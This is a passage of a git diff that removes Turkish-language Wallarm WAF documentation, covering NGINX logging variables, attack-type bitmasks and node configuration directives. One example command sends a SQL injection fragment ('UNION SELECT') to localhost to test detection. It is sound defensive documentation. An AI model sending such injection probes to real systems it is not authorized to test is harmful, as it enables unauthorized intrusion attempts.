            • `0x08000000` - ssti - `"134217728"`
            • `0x10000000` - invalid_xml - `"268435456"`
            • `0x8000000000000`- file_upload_violation - `2251799813685248`
            • API Abuse (bot saldırıları):
              • `0x10000000000000` - resource_consumption - `4503599627370496`
            • [API specification violations](../api-specification-enforcement/overview.md):
              • `0x100000000` - undefined_endpoint - `"4294967296"`
              • `0x200000000` - undefined_parameter - `"8589934592"`
              • `0x400000000`- missing_auth - `"17179869184"`
              • `0x800000000`- missing_parameter - `"34359738368"`
              • `0x1000000000` - invalid_parameter_value - `"68719476736"`
              • `0x2000000000` - invalid_request - `"137438953472"`
              • `0x4000000000` - processing_overlimit - `"274877906944"`
            • `0x100000` - blocked_source - `"1048576"`
            • GraphQL saldırıları:
              • `0x20000000000` - gql_aliases - `"2199023255552"`
              • `0x200000000000` - gql_debug - `"35184372088832"`
              • `0x8000000000` - gql_depth - `"549755813888"`
              • `0x40000000000` - gql_doc_size - `"4398046511104"`
              • `0x80000000000` - gql_docs_per_batch - `"8796093022208"`
              • `0x100000000000` - gql_introspection - `"17592186044416"`
              • `0x10000000000` - gql_value_size - `"1099511627776"`
            • [Trigger](../user-guides/triggers/triggers.md) tabanlı saldırılar (tür yalnızca bir trigger kaynağı denylist’e veya graylist’e aldığında döndürülür):
              • `0x400` - brute - `"1024"`
              • `0x800` - dirbust - `"2048"`
              • `0x10000` - bola - `"65536"`
              • `0x400000` - [vectors](configuration-guides/protecting-with-thresholds.md) - `"4194304"`
            • [API Abuse](../api-abuse-prevention/overview.md) (tür yalnızca modül kaynağı denylist’e veya graylist’e aldığında döndürülür):
              • `0x8000` - bot - `"32768"`
              • `0x200000` - api_abuse - `"2097152"`
              • `0x400000000000` - account_takeover - `"70368744177664"`
              • `0x800000000000` - security_crawlers - `"140737488355328"`
              • `0x1000000000000` - scraping - `"281474976710656"`
            • `0x1000000` - credential_stuffing - `"16777216"`
            Bir istek içinde birden fazla saldırı türü tespit edilirse, değerler toplanır. Örneğin: XSS ve SQLi saldırıları tespit edilirse değişken değeri `6` olur. | -| `wallarm_attack_point_list` (NGINX node 5.2.1 veya daha yenisi) | String | Kötü niyetli payload içeren istek noktalarını listeler. Bir nokta birden fazla [parser](../user-guides/rules/request-processing.md) tarafından ardışık olarak işlenirse, bu parser’lar değere dahil edilir. Kötü niyetli payload içeren birden fazla nokta `|` ile birleştirilir.
            Örnek: `[post][json][json_obj, 'data'][base64]` ifadesi, JSON gövdesindeki base64 olarak kodlanmış `data` parametresinde kötü niyetli bir payload tespit edildiğini gösterir.
            Bu günlük verilerinin, Wallarm Console UI içinde sunulan basitleştirilmiş, kullanıcı dostu görünümden farklı olabileceğini unutmayın. | -| `wallarm_attack_stamp_list` (NGINX node 5.2.1 veya daha yenisi) | String | Bir istek içinde tespit edilen her saldırı işareti için dahili Wallarm kimliklerini listeler. Birden fazla işaret kimliği `|` ile birleştirilir. Aynı saldırı işareti birden fazla ayrıştırma aşamasında tespit edilirse kimlikler tekrarlanabilir. Örneğin, `union+select+1` gibi bir SQLi saldırısı `7|7` döndürebilir ve birden fazla tespiti gösterebilir.
            Bu günlük verilerinin, Wallarm Console UI içinde sunulan basitleştirilmiş, kullanıcı dostu görünümden farklı olabileceğini unutmayın. | -|`wallarm_block_reason` (NGINX node 6.4.0 veya daha yenisi)|String|Engelleme nedeni (uygulanabilirse). Nedenler metin formatında sunulur:
            • `not blocked` - istek engellenmedi (örneğin, [allowlisted IP][acl] üzerinden gönderildi).
            • `antibot` - istek [API Abuse Prevention modülü][antibot] tarafından engellendi.
            • `attack mask=` - bir saldırı tespit edildi. `MASK`, bit dizesi formatında saldırı türüdür (ör. `mask=0000000000000020` bir ptrav saldırısını gösterir). Tüm saldırı türleri yukarıdaki `wallarm_attack_type` bölümünde listelenmiştir.
            • `overlimit` - maskede bir [resource overlimit][resource-overlimit] saldırısı tespit edildi.
            • `acl blacklist SRC TYPE` - istek [denylist’te olan istek kaynakları][acl] nedeniyle engellendi. Değişken bölümler aşağıdaki değerlere sahip olabilir:
                `SRC`:
                • `ip`
                • `country`
                • `proxy`
                • `datacenter`
                • `tor`
              • `TYPE`:
                • `blocked_source`
                • `brute`
                • `dirbust`
                • `bola`
                • `bot`
                • `api_abuse`
                • `vectors`
                • `account_takeover`
                • `security_crawlers`
                • `scraping`
                • `resource_consumption`
                • `session_anomaly`
                • `enum`
                • `rate_limit`
                • `query_anomaly`
                • `ai_prompt_injection`
                • `ai_prompt_retrieval`
              | - -### Yapılandırma Örneği - -Aşağıdaki değişkenleri içeren `wallarm_combined` adlı genişletilmiş günlükleme biçimini belirtmeniz gerektiğini varsayalım: -* `combined` biçiminde kullanılan tüm değişkenler -* tüm filtre düğümü değişkenleri - -Bunu yapmak için aşağıdaki adımları uygulayın: - -1. Aşağıdaki satırlar istenen günlükleme biçimini tanımlar. Bunları NGINX yapılandırma dosyasının `http` bloğuna ekleyin. - - ``` - log_format wallarm_combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" ' - '$wallarm_request_cpu_time $wallarm_request_mono_time $wallarm_serialized_size $wallarm_is_input_valid $wallarm_attack_type $wallarm_attack_type_list $wallarm_attack_point_list $wallarm_attack_stamp_list'; - ``` - -2. Aynı bloğa aşağıdaki yönergeyi ekleyerek genişletilmiş günlükleme biçimini etkinleştirin: - - `access_log /var/log/nginx/access.log wallarm_combined;` - - İşlenen istek günlükleri `/var/log/nginx/access.log` dosyasına `wallarm_combined` biçiminde yazılacaktır. - - !!! info "Koşullu Günlükleme" - Yukarıda listelenen yönerge ile, bir saldırıyla ilişkili olmayanlar da dahil olmak üzere tüm işlenen istekler bir günlük dosyasına yazılır. - - Yalnızca bir saldırının parçası olan istekler için günlük yazmak üzere koşullu günlüklemeyi yapılandırabilirsiniz (bu isteklerde `wallarm_attack_type` değişkeninin değeri sıfır değildir). Bunu yapmak için, anılan yönergeye bir koşul ekleyin: `access_log /var/log/nginx/access.log wallarm_combined if=$wallarm_attack_type;` - - Bu, günlük dosyası boyutunu küçültmek veya bir filtre düğümünü [SIEM çözümleri](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1) ile entegre ediyorsanız faydalı olabilir. - -3. Kullandığınız işletim sistemine bağlı olarak aşağıdaki komutlardan birini çalıştırarak NGINX’i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -!!! info "Ayrıntılı bilgi" - NGINX’te günlüklemeyi yapılandırma hakkında ayrıntılı bilgi için bu [bağlantıya][link-nginx-logging-docs] gidin. - - - \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-parameters-en.md b/docs/latest-tr/admin-en/configure-parameters-en.md deleted file mode 100644 index 26218c3e41..0000000000 --- a/docs/latest-tr/admin-en/configure-parameters-en.md +++ /dev/null @@ -1,932 +0,0 @@ -[doc-nginx-install]: ../installation/nginx/dynamic-module-from-distr.md -[doc-eu-scanner-ip-addresses]: scanner-address-eu-cloud.md -[doc-us-scanner-ip-addresses]: scanner-address-us-cloud.md -[acl-access-phase]: #wallarm_acl_access_phase - -# NGINX tabanlı Wallarm düğümü için yapılandırma seçenekleri - -[Self-hosted Wallarm NGINX düğümü](../installation/nginx-native-node-internals.md#nginx-node) için Wallarm çözümünden en iyi şekilde yararlanmanızı sağlayan ince ayar seçeneklerini öğrenin. - -!!! info "Resmi NGINX belgeleri" - Wallarm yapılandırması, NGINX yapılandırmasına çok benzer. [Resmi NGINX belgelerine bakın](https://www.nginx.com/resources/admin-guide/). Wallarm'a özgü yapılandırma seçeneklerinin yanı sıra, NGINX yapılandırmasının tüm yeteneklerine sahipsiniz. - -## Wallarm direktifleri - -### disable_acl - -İstek kaynaklarının analizini devre dışı bırakmaya izin verir. Devre dışı bırakıldığında (`on`), filtreleme düğümü Wallarm Cloud'dan [IP listelerini](../user-guides/ip-lists/overview.md) indirmez ve isteklerin kaynak IP analizini atlar. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - Varsayılan değer `off`. - -### wallarm_acl_access_phase - -Direktif, [yasaklı listede](../user-guides/ip-lists/overview.md) bulunan IP'lerden gelen istekleri NGINX access aşamasında engellemesi için NGINX tabanlı Wallarm düğümünü zorlar, bu şu anlama gelir: - -* `wallarm_acl_access_phase on` ile, Wallarm düğümü yasaklı listedeki IP'lerden gelen tüm istekleri herhangi bir [filtreleme modunda](configure-wallarm-mode.md) (yalnızca `off` hariç) anında engeller ve yasaklı listedeki IP'lerden gelen isteklerde saldırı işaretlerini aramaz. - - Bu, yasaklı liste davranışını standart hale getirdiği ve düğümün CPU yükünü önemli ölçüde azalttığı için **varsayılan ve önerilen** değerdir. - -* `wallarm_acl_access_phase off` ile, Wallarm düğümü önce istekleri saldırı işaretleri için analiz eder ve ardından `block` veya `safe_blocking` modunda çalışıyorsa yasaklı listedeki IP'lerden gelen istekleri engeller. - - `monitoring` filtreleme modunda, düğüm tüm isteklerde saldırı işaretlerini arar ancak kaynak IP yasaklı listede olsa bile bunları asla engellemez. - - `wallarm_acl_access_phase off` ile Wallarm düğüm davranışı, düğümün CPU yükünü önemli ölçüde artırır. - -!!! info "Varsayılan değer ve diğer direktiflerle etkileşim" - **Varsayılan değer**: `on` (Wallarm düğümü 4.2’den itibaren) - - Direktif yalnızca NGINX yapılandırma dosyasının http bloğu içinde ayarlanabilir. - - * Duvar kağıdı modu `off` iken veya [`disable_acl on`](#disable_acl) ile, IP listeleri işlenmez ve `wallarm_acl_access_phase` etkinleştirilmesinin bir anlamı yoktur. - * `wallarm_acl_access_phase` direktifi, [`wallarm_mode`](#wallarm_mode) üzerinde önceliğe sahiptir; bu da yasaklı listedeki IP'lerden gelen isteklerin, filtreleme düğümü modu `monitoring` olsa bile engellenmesiyle sonuçlanır (`wallarm_acl_access_phase on` ile). - -### wallarm_acl_export_enable - -Direktif, düğümden Cloud’a [yasaklı listedeki](../user-guides/ip-lists/overview.md) IP’lerden gelen isteklerle ilgili istatistiklerin gönderilmesini `on` ile etkinleştirir / `off` ile devre dışı bırakır. - -* `wallarm_acl_export_enable on` ile yasaklı listedeki IP’lerden gelen isteklerle ilgili istatistikler **Attacks** bölümünde [görüntülenir](../user-guides/ip-lists/overview.md#requests-from-denylisted-ips). -* `wallarm_acl_export_enable off` ile yasaklı listedeki IP’lerden gelen isteklerle ilgili istatistikler görüntülenmez. - -!!! info - Bu parametre http bloğu içinde ayarlanır. - - **Varsayılan değer**: `on` - -### wallarm_api_conf - -Wallarm API için erişim gereksinimlerini içeren `node.yaml` dosyasının yolu. - -**Varsayılan**: - -``` -wallarm_api_conf /opt/wallarm/etc/wallarm/node.yaml -``` - -Filtreleme düğümünden seri hale getirilmiş istekleri postanalytics modülüne (wstore) yüklemek yerine doğrudan Wallarm API’sine (Cloud) yüklemek için kullanılır. -**Yalnızca saldırı içeren istekler API’ye gönderilir.** Saldırı içermeyen istekler kaydedilmez. - -node.yaml dosya içeriği örneği: - -``` yaml -# API bağlantı parametreleri (aşağıdaki parametreler varsayılan olarak kullanılır) -api: - host: api.wallarm.com - port: 443 - ca_verify: true -``` - -[Daha fazla parametre](configure-cloud-node-synchronization-en.md#access-parameters) - -### wallarm_application - -Wallarm Cloud’da kullanılacak korunmakta olan uygulamanın benzersiz tanımlayıcısı. Değer `0` hariç pozitif bir tamsayı olabilir. - -Benzersiz tanımlayıcılar hem uygulama alan adları hem de alan adı yolları için ayarlanabilir, örneğin: - -=== "Alan adları için tanımlayıcılar" - **example.com** alan adı için yapılandırma dosyası: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 1; - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - **test.com** alan adı için yapılandırma dosyası: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 2; - location / { - proxy_pass http://test.com; - include proxy_params; - } - } - ``` -=== "Alan adı yolları için tanımlayıcılar" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - location /login { - proxy_pass http://example.com/login; - include proxy_params; - wallarm_application 3; - } - - location /users { - proxy_pass http://example.com/users; - include proxy_params; - wallarm_application 4; - } - } - ``` - -[Uygulamaların ayarlanması hakkında daha fazla bilgi →](../user-guides/settings/applications.md) - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `-1`. - -### wallarm_block_page - -Engellenen isteğe verilecek yanıtı ayarlamanıza olanak tanır. - -[Engelleme sayfası ve hata kodu yapılandırması hakkında daha fazla bilgi →](configuration-guides/configure-block-page-and-code.md) - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - -### wallarm_block_page_add_dynamic_path - -Bu direktif, kodunda NGINX değişkenleri bulunan ve bu engelleme sayfasının yolunun da bir değişken kullanılarak ayarlandığı engelleme sayfasını başlatmak için kullanılır. Aksi halde direktif kullanılmaz. - -[Engelleme sayfası ve hata kodu yapılandırması hakkında daha fazla bilgi →](configuration-guides/configure-block-page-and-code.md) - -!!! info - Direktif, NGINX yapılandırma dosyasının `http` bloğu içinde ayarlanabilir. - -### wallarm_cache_path - -Sunucu başladığında proton.db ve özel kural seti dosya kopyası depolaması için yedek kataloğun oluşturulacağı dizin. Bu dizinin NGINX’i çalıştıran istemci tarafından yazılabilir olması gerekir. - -!!! info - Bu parametre yalnızca http bloğu içinde yapılandırılır. - -### wallarm_custom_ruleset_path - -Korunan uygulama ve filtreleme düğümü ayarları hakkında bilgi içeren [özel kural seti](../user-guides/rules/rules.md) dosyasının yolu. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: - - * Docker NGINX tabanlı imaj, bulut imajları, NGINX Node all-in-one yükleyici ve Native Node kurulumları için `/opt/wallarm/etc/wallarm/custom_ruleset` - * Diğer kurulum ürünleri için `/etc/wallarm/custom_ruleset` - -### wallarm_enable_apifw - -Direktif, 4.10 sürümünden itibaren kullanılabilen [API Specification Enforcement](../api-specification-enforcement/overview.md)'u `on` ile etkinleştirir / `off` ile devre dışı bırakır. Lütfen bu özelliğin etkinleştirilmesinin, gerekli abonelik ve Wallarm Console UI üzerinden yapılandırmanın yerini almadığını unutmayın. - -!!! info - Bu parametre `server` blokları içinde ayarlanabilir. - - **Varsayılan değer**: `on`. - -### wallarm_enable_libdetection - -!!! info "Diğer dağıtım seçenekleri" - Bu bölüm, NGINX [all-in-one yükleyici](../installation/inline/compute-instances/linux/all-in-one.md) ve [Docker](../admin-en/installation-docker-en.md) kurulumları için seçeneğin nasıl ayarlanacağını açıklar - diğer dağıtım seçenekleri için bkz.: - - * [NGINX Ingress controller](../admin-en/configure-kubernetes-en.md#managing-libdetection-mode), - * [Sidecar](../installation/kubernetes/sidecar-proxy/pod-annotations.md#annotation-list) (`wallarm-enable-libdetection` pod anotasyonu) - * [AWS Terraform](../installation/cloud-platforms/aws/terraform-module/overview.md#how-to-use-the-wallarm-aws-terraform-module) (`libdetection` değişkeni). - -[**libdetection**](https://github.com/wallarm/libdetection) kütüphanesi aracılığıyla SQL injection saldırılarının ek doğrulamasını etkinleştirir/devre dışı bırakır. **libdetection** kullanımı saldırıların çift tespiti sağlar ve yanlış pozitifleri azaltır. - -**libdetection** kütüphanesiyle isteklerin analiz edilmesi, tüm [dağıtım seçeneklerinde](../installation/supported-deployment-options.md) varsayılan olarak etkindir. Yanlış pozitifleri azaltmak için analizin etkin kalmasını öneririz. - -Ek doğrulamayı kontrol etmek için, korunan kaynağa aşağıdaki isteği gönderin: - -```bash -curl "http://localhost/?id=1' UNION SELECT" -``` - -* [Temel dedektör seti](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) (**libproton** kütüphanesi) `UNION SELECT` ifadesini SQL Injection saldırı işareti olarak tespit edecektir. `UNION SELECT` başka komutlar olmadan SQL Injection saldırısının bir işareti olmadığından, **libproton** bir yanlış pozitif tespit eder. -* Eğer isteklerin **libdetection** kütüphanesiyle analizi etkinse, SQL injection saldırı işareti istek içinde doğrulanmayacaktır. İstek meşru sayılır, saldırı Wallarm Cloud’a yüklenmez ve engellenmez (filtreleme düğümü `block` modunda çalışıyorsa). - -!!! warning "Bellek tüketiminde artış" - Saldırıları libdetection kütüphanesi kullanarak analiz ederken, NGINX ve Wallarm süreçlerinin tükettiği bellek miktarı yaklaşık %10 artabilir. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - Varsayılan değer tüm [dağıtım seçenekleri](../installation/supported-deployment-options.md) için `on`’dur. - -### wallarm_fallback - -Değer `on` olarak ayarlandığında, NGINX’in acil durum moduna geçme yeteneği vardır; proton.db veya özel kural seti indirilemezse, bu ayar, verilerin indirilemediği http, server ve location blokları için Wallarm modülünü devre dışı bırakır. NGINX çalışmaya devam eder. - -!!! info - Varsayılan değer `on`. - - Bu parametre http, server ve location blokları içinde ayarlanabilir. - -### wallarm_file_check_interval - -proton.db ve özel kural seti dosyasındaki yeni verilerin kontrolü arasındaki aralığı tanımlar. Ölçü birimi aşağıdaki şekilde sonek ile belirtilir: -* dakikalar için sonek yok -* saniyeler için `s` -* milisaniyeler için `ms` - -!!! info - Bu parametre yalnızca http bloğu içinde yapılandırılır. - - **Varsayılan değer**: `1` (bir dakika) - -### wallarm_general_ruleset_memory_limit - -Bir proton.db ve özel kural seti örneği tarafından kullanılabilecek maksimum bellek miktarı için bir limit ayarlayın. - -Bazı istekleri işlerken bellek limiti aşılırsa, kullanıcı 500 hatası alır. - -Bu parametrede aşağıdaki sonekler kullanılabilir: -* kilobayt için `k` veya `K` -* megabayt için `m` veya `M` -* gigabayt için `g` veya `G` - -**0** değeri limiti kapatır. - -!!! info - Bu parametre http, server ve/veya location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `1` GB - -### wallarm_global_trainingset_path - -!!! warning "Direktif kullanımdan kaldırıldı" - Wallarm düğümü 3.6’dan itibaren, lütfen bunun yerine [`wallarm_protondb_path`](#wallarm_protondb_path) direktifini kullanın. Sadece direktif adını değiştirin, mantığı değişmedi. - -### wallarm_http_v2_stream_max_len - -Bu direktif, bayt cinsinden bir HTTP/2 akışının izin verilen maksimum uzunluğunu ayarlar. Belirtilen değerin yarısına ulaşıldığında, akışın zarif şekilde sonlandırılmasını kolaylaştırmak için istemciye bir HTTP/2 `GOAWAY` çerçevesi gönderilir. Akış kapanmaz ve maksimum uzunluğa ulaşılırsa, bağlantı NGINX tarafından zorla sonlandırılır. - -Bu seçenek yapılandırılmamışsa, akış uzunlukları sınırsız kalır ve özellikle uzun ömürlü bağlantıların bulunduğu gRPC ortamlarında NGINX sürecinin sınırsız bellek tüketimine neden olabilir. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - Direktifin varsayılan bir değeri yoktur, varsayılan olarak HTTP/2 akışlarının uzunluğu için bir sınır yoktur. - -### wallarm_instance - -!!! warning "Direktif kullanımdan kaldırıldı" - * Direktif, korunmakta olan uygulamanın benzersiz tanımlayıcısını ayarlamak için kullanıldıysa, sadece adını [`wallarm_application`](#wallarm_application) olarak değiştirin. - * Çok kiracılı (multi-tenant) düğümler için kiracının benzersiz tanımlayıcısını ayarlamak üzere `wallarm_instance` yerine [`wallarm_partner_client_uuid`](#wallarm_partner_client_uuid) direktifini kullanın. - - 4.0 sürümünden önceki filtreleme düğümü sürümü için kullandığınız yapılandırmayı güncellerken: - - * Çok kiracılık özelliği olmadan filtreleme düğümünü yükseltiyorsanız ve korunmakta olan uygulamanın benzersiz tanımlayıcısını ayarlamak için kullanılan herhangi bir `wallarm_instance` varsa, sadece adını `wallarm_application` olarak değiştirin. - * Çok kiracılık özelliğiyle filtreleme düğümünü yükseltiyorsanız, tüm `wallarm_instance` kayıtlarını `wallarm_application` olarak değerlendirin, ardından yapılandırmayı [çok kiracılık yeniden yapılandırma talimatında](../updating-migrating/older-versions/multi-tenant.md#step-3-reconfigure-multitenancy) açıklandığı gibi yeniden yazın. - -### wallarm_key_path - -proton.db ve özel kural seti dosyalarının şifrelenmesi/şifresinin çözülmesi için kullanılan Wallarm özel anahtarının yolu. - -!!! info - **Varsayılan değer**: - - * Docker NGINX tabanlı imaj, bulut imajları, NGINX Node all-in-one yükleyici ve Native Node kurulumları için `/opt/wallarm/etc/wallarm/private.key` - * Diğer kurulum ürünleri için `/etc/wallarm/private.key` - - -### wallarm_local_trainingset_path - -!!! warning "Direktif kullanımdan kaldırıldı" - Wallarm düğümü 3.6’dan itibaren, lütfen bunun yerine [`wallarm_custom_ruleset_path`](#wallarm_custom_ruleset_path) direktifini kullanın. Sadece direktif adını değiştirin, mantığı değişmedi. - -### wallarm_memlimit_debug - -Bu direktif, bellek limiti aşıldığında istek ayrıntılarını içeren `/tmp/proton_last_memlimit.req` dosyasının Wallarm NGINX modülü tarafından oluşturulup oluşturulmayacağını belirler. Bu, istek bellek limiti işleme ile ilgili sorunları hata ayıklamak için çok değerli olabilir. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `on`. - -### wallarm_mode - -Trafik işleme modu: - -* `off` -* `monitoring` -* `safe_blocking` -* `block` - ---8<-- "../include/wallarm-modes-description-5.0.md" - -`wallarm_mode` kullanımı, `wallarm_mode_allow_override` direktifi ile kısıtlanabilir. - -[Filtreleme modu yapılandırmasına ilişkin ayrıntılı talimatlar →](configure-wallarm-mode.md) - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer** filtreleme düğümü dağıtım yöntemine bağlıdır (`off` veya `monitoring` olabilir) - -### wallarm_mode_allow_override - -Wallarm Cloud’dan indirilen filtreleme kuralları (özel kural seti) aracılığıyla [`wallarm_mode`](#wallarm_mode) değerlerinin geçersiz kılınabilme yeteneğini yönetir: - -- `off` - özel kurallar yok sayılır. -- `strict` - özel kurallar yalnızca çalışma modunu sıkılaştırabilir. -- `on` - hem sıkılaştırma hem de yumuşatma mümkündür. - -Örneğin, `wallarm_mode monitoring` ve `wallarm_mode_allow_override strict` ayarlandığında, Wallarm Console bazı isteklerin engellenmesini etkinleştirmek için kullanılabilir, ancak saldırı analizi tamamen devre dışı bırakılamaz. - -[Filtreleme modu yapılandırmasına ilişkin ayrıntılı talimatlar →](configure-wallarm-mode.md) - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `on` - - -### wallarm_parse_response - -Uygulama yanıtlarının analiz edilip edilmeyeceği. Yanıt analizi, [pasif tespit](../about-wallarm/detecting-vulnerabilities.md#passive-detection) ve [tehdit tekrar testi](../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) sırasında güvenlik açığı tespiti için gereklidir. - -Olası değerler `on` (yanıt analizi etkin) ve `off` (yanıt analizi devre dışı) şeklindedir. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `on` - -!!! warning "Performansı iyileştirin" - Performansı iyileştirmek için, statik dosyaların `location` üzerinden işlenmesini devre dışı bırakmanız önerilir. - -### wallarm_parse_websocket - -Wallarm, API Security abonelik planı kapsamında tam WebSockets desteği sağlar. Varsayılan olarak, WebSockets mesajları saldırılar için analiz edilmez. - -Özelliği zorlamak için, API Security abonelik planını etkinleştirin ve `wallarm_parse_websocket` direktifini kullanın. - -Olası değerler: - -- `on`: mesaj analizi etkin. -- `off`: mesaj analizi devre dışı. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `off` - -### wallarm_parser_disable - -Parçalayacıları (parser) devre dışı bırakmaya izin verir. Direktif değerleri, devre dışı bırakılacak ayrıştırıcının adına karşılık gelir: - -- `cookie` -- `zlib` -- `htmljs` -- `json` -- `multipart` -- `base64` -- `percent` -- `urlenc` -- `xml` -- `jwt` - -**Örnek** - -``` -wallarm_parser_disable base64; -wallarm_parser_disable xml; -location /ab { - wallarm_parser_disable json; - wallarm_parser_disable base64; - proxy_pass http://example.com; -} -location /zy { - wallarm_parser_disable json; - proxy_pass http://example.com; -} -``` - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - -### wallarm_parse_html_response - -Uygulama yanıtında alınan HTML koduna HTML ayrıştırıcılarının uygulanıp uygulanmayacağı. Olası değerler `on` (HTML ayrıştırıcı uygulanır) ve `off` (HTML ayrıştırıcı uygulanmaz). - -Bu parametre yalnızca `wallarm_parse_response on` ise etkilidir. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `on` - -### wallarm_partner_client_uuid - -[Çok kiracılı](../installation/multi-tenant/overview.md) Wallarm düğümü için kiracının benzersiz tanımlayıcısı. Değer, [UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier#Format) formatında bir dize olmalıdır, örneğin: - -* `11111111-1111-1111-1111-111111111111` -* `123e4567-e89b-12d3-a456-426614174000` - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - Bilin: - - * [Kiracı oluşturma sırasında kiracının UUID’sini alma →](../installation/multi-tenant/configure-accounts.md#via-the-wallarm-api) - * [Mevcut kiracıların UUID’lerinin listesini alma →](../updating-migrating/older-versions/multi-tenant.md#get-uuids-of-your-tenants) - -Yapılandırma örneği: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -Yukarıdaki yapılandırmada: - -* Kiracı, iş ortağının müşterisini temsil eder. İş ortağının 2 müşterisi vardır. -* `tenant1.com` ve `tenant1-1.com` hedefli trafik `11111111-1111-1111-1111-111111111111` müşterisi ile ilişkilendirilecektir. -* `tenant2.com` hedefli trafik `22222222-2222-2222-2222-222222222222` müşterisi ile ilişkilendirilecektir. -* İlk müşterinin ayrıca [`wallarm_application`](#wallarm_application) direktifi ile belirtilen 3 uygulaması vardır: - * `tenant1.com/login` – `wallarm_application 21` - * `tenant1.com/users` – `wallarm_application 22` - * `tenant1-1.com` – `wallarm_application 23` - - Bu 3 yola yönelik trafik ilgili uygulama ile ilişkilendirilecek, geri kalan ise ilk müşterinin genel trafiği olacaktır. - -### wallarm_process_time_limit - -!!! warning "Direktif kullanımdan kaldırılmıştır" - 3.6 sürümünden itibaren, `overlimit_res` saldırı tespitini [**İstek işleme süresini sınırla**](../user-guides/rules/configure-overlimit-res-detection.md) kuralını (eski adıyla “overlimit_res saldırı tespitini ince ayar”) kullanarak ince ayar yapmanız önerilir. - - `wallarm_process_time_limit` direktifi geçici olarak desteklenmektedir ancak gelecekteki sürümlerde kaldırılacaktır. - -Wallarm düğümü tarafından tek bir isteğin işlenmesi için zaman sınırını ayarlar. - -Zaman sınırı aşılırsa, günlükte bir hata kaydedilir ve istek [`overlimit_res`](../attacks-vulns-list.md#resource-overlimit) saldırısı olarak işaretlenir. [`wallarm_process_time_limit_block`](#wallarm_process_time_limit_block) değerine bağlı olarak saldırı engellenebilir, izlenebilir veya yok sayılabilir. - -Değer, birim olmadan milisaniye cinsinden belirtilir, örneğin: - -```bash -wallarm_process_time_limit 1200; # 1200 milisaniye -wallarm_process_time_limit 2000; # 2000 milisaniye -``` - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: 1000ms (bir saniye). - -### wallarm_process_time_limit_block - -!!! warning "Direktif kullanımdan kaldırılmıştır" - 3.6 sürümünden itibaren, `overlimit_res` saldırı tespitini [**İstek işleme süresini sınırla**](../user-guides/rules/configure-overlimit-res-detection.md) kuralını (eski adıyla “overlimit_res saldırı tespitini ince ayar”) kullanarak ince ayar yapmanız önerilir. - - `wallarm_process_time_limit_block` direktifi geçici olarak desteklenmektedir ancak gelecekteki sürümlerde kaldırılacaktır. - -[`wallarm_process_time_limit`](#wallarm_process_time_limit) direktifinde ayarlanan zaman sınırını aşan isteklerin engellenmesini yönetme yeteneği: - -- `on`: `wallarm_mode off` olmadıkça istekler her zaman engellenir -- `off`: istekler her zaman yok sayılır - - !!! warning "Koruma atlatma riski" - `off` değeri dikkatli kullanılmalıdır çünkü bu değer `overlimit_res` saldırılarına karşı korumayı devre dışı bırakır. - - `off` değerinin yalnızca gerçekten gerekli olan, örneğin büyük dosya yüklemelerinin yapıldığı ve korumayı atlatma veya güvenlik açığı istismarı riski olmayan kesinlikle belirli location’larda kullanılması önerilir. - - **Kesinlikle tavsiye edilmez**, `wallarm_process_time_limit_block` değerini http veya server blokları için küresel olarak `off` olarak ayarlamak. - -- `attack`: `wallarm_mode` direktifinde ayarlanan saldırı engelleme moduna bağlıdır: - - `off`: istekler işlenmez. - - `monitoring`: istekler yok sayılır ancak `overlimit_res` saldırılarıyla ilgili ayrıntılar Wallarm Cloud’a yüklenir ve Wallarm Console’da görüntülenir. - - `safe_blocking`: yalnızca [gri listede](../user-guides/ip-lists/overview.md) bulunan IP adreslerinden gelen istekler engellenir ve tüm `overlimit_res` saldırılarıyla ilgili ayrıntılar Wallarm Cloud’a yüklenir ve Wallarm Console’da görüntülenir. - - `block`: istekler engellenir. - -Direktif değerinden bağımsız olarak, [`wallarm_mode off;`](#wallarm_mode) olmadıkça `overlimit_res` saldırı türündeki istekler Wallarm Cloud’a yüklenir. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `wallarm_process_time_limit_block attack` - -### 